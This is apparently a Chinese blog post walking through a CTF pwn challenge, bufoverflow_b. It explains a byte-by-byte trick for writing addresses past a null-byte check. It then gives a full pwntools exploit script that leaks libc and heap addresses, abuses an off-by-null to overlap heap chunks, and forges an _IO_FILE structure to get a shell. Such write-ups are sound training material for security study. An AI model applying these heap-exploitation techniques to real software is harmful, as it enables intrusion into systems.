攻防世界 pwn 进阶 bufoverflow_b

跟bufoverflow_b差不多,就是多了个检查。

所以先看看bufoverflow_a
在这里插入图片描述
说跟bufoverflow_a差不多是为啥,因为它就是在输入的时候检查多了一项。

这个是bufoverflow_a
在这里插入图片描述

这个是bufoverflow_b
在这里插入图片描述
这个题会检查我们的输入是不是\x00,意思是会被\x00截断,那么我们在输入数据的时候就会麻烦一些。

那我们怎么去解决这个烦恼,我们这里利用大佬的方法。
在我们向内存中写地址的时候内存中一定会有一些垃圾数据,我们写数据的时候,假如我们要写入一个地址,在内存中小端序,是43210000,那么我们倒着写,先写44444440,然后4444440,然然后444440,44440,4441,4421,4321.

然后剩下的就跟之前的bufoverflow_a一样了。

最后的时候就是这种效果。
在这里插入图片描述

exp

#coding:utf8
from pwn import *
 
#r = process('./bufoverflow_b')
r = remote('111.200.241.244',51645)
#context.log_level = "debug"

libc = ELF('./libc.so.6')
_IO_list_all = libc.symbols['_IO_list_all']
malloc_hook =  libc.symbols['__malloc_hook']
system_addr = libc.sym['system']
bin_sh = libc.search('/bin/sh').next()
 
def create(size):
   r.sendlineafter('>>','1')
   r.sendlineafter('Size:',str(size))
 
def delete(index):
   r.sendlineafter('>>','2')
   r.sendlineafter('Index:',str(index))
 
def fill(content):
   r.sendlineafter('>>','3')
   r.sendafter('Content:',content)
 
def show():
   r.sendlineafter('>>','4')
   
def clean(offset):
   for i in range(7,-1,-1):
      fill('b'*(offset + i) + '\x00')
 
def get_IO_str_jumps():
   IO_file_jumps_offset = libc.sym['_IO_file_jumps']
   IO_str_underflow_offset = libc.sym['_IO_str_underflow']
   for ref_offset in libc.search(p64(IO_str_underflow_offset)):
       possible_IO_str_jumps_offset = ref_offset - 0x20
       if possible_IO_str_jumps_offset > IO_file_jumps_offset:
          print possible_IO_str_jumps_offset
          return possible_IO_str_jumps_offset

create(0x80) #0
create(0x80) #1

delete(0)
delete(1)

create(0x80)
show()
r.recv(1)

main_arena_xx = u64(r.recvuntil('\n',drop = True).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) +  (malloc_hook & 0XFFF)
libc_base = malloc_hook_addr - malloc_hook
_IO_list_all = libc_base + _IO_list_all
_IO_str_jumps = libc_base + get_IO_str_jumps()
system_addr = libc_base + system_addr
bin_sh = libc_base + bin_sh
print 'libc_base=',hex(libc_base)
print '_IO_list_all_addr=',hex(_IO_list_all)
print 'system_addr=',hex(system_addr)

create(0x400) 
create(0x80) 
delete(1)

create(0x500) #1
delete(1)
delete(2)
delete(0)

create(0x90) #0
create(0x80) #1
show()
r.recv(1)
heap_base = u64(r.recvuntil('\n',drop = True).ljust(8,'\x00')) - 0xB0
print 'heap_base=',hex(heap_base)

delete(0)
delete(1)

#下面开始就跟bufoverflow_a有点不一样了.

create(0x208)
clean(0x200)
fake_chunk = 'a'*0x200 + '\xE0\x01\x00'
fill(fake_chunk)
clean(0x38)
fake_chunk = 'a'*0x38 + p64(heap_base + 0x50)[0:7]
fill(fake_chunk)
clean(0x30)
fake_chunk = 'a'*0x30 + p64(heap_base + 0x50)[0:7]
fill(fake_chunk)
clean(0x28)
fake_chunk = 'a'*0x28 + '\xE0\x01\x00'
fill(fake_chunk)
#上面这个是为了off by null写大小才来搞得.

create(0x80)
create(0xF0)
fill('b'*0xF0)
 
delete(1)

create(0x88)
fill('b'*0x88) #off by one
clean(0x80)
fill('b'*0x80 + '\x70\x02\x00')
delete(2)
create(0x290)
clean(0x268)
fill('a'*0x268 + '\x01\x01\x00')
clean(0x1D8)
fill('a'*0x1D8 + '\x91\x00')
#这里是第二次需要那样子写数据的地方.

delete(1)
delete(0)
 
create(0x290) #0
clean(0xB8)
fill('a'*0xB8 + '\x51\x01\x00')
clean(0x28)
fill('a'*0x28 + '\x91\x00')
delete(0) #得到外层unsorted bin
delete(2) #得到内层unsorted bin
create(0x290)
#这里是第三次.

#下面这个因为伪造file啥的,需要写的东西比较多.
payload = 'a'*0x20
start = 0x20
clean(start + 0xE8)
fill(payload + 'a'*0xE8 + p64(system_addr)[0:7])
clean(start + 0xE0)
clean(start + 0xD8)
fill(payload + 'a'*0xD8 + p64(_IO_str_jumps - 8)[0:7])
for i in range(0xD0,0x38,-8):
   print hex(i)
   clean(start + i)
clean(start + 0x38)
fill(payload + 'a'*0x38 + p64(bin_sh)[0:7])
clean(start + 0x30)
clean(start + 0x28)
fill(payload + 'a'*0x28 + '\x01\x00')
clean(start + 0x20)
clean(start + 0x18)
fill(payload + 'a'*0x18 + p64(_IO_list_all-0x10)[0:7])
clean(start + 0x10)
clean(start + 0x8)
fill(payload + 'a'*0x8 + p64(0x60)[0:2])
clean(start + 0)

#gdb.attach(r)

create(0x80)
 
r.interactive()

在这里插入图片描述
老规矩还是要多试几次的。

参考的试大佬的博客。
大佬

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值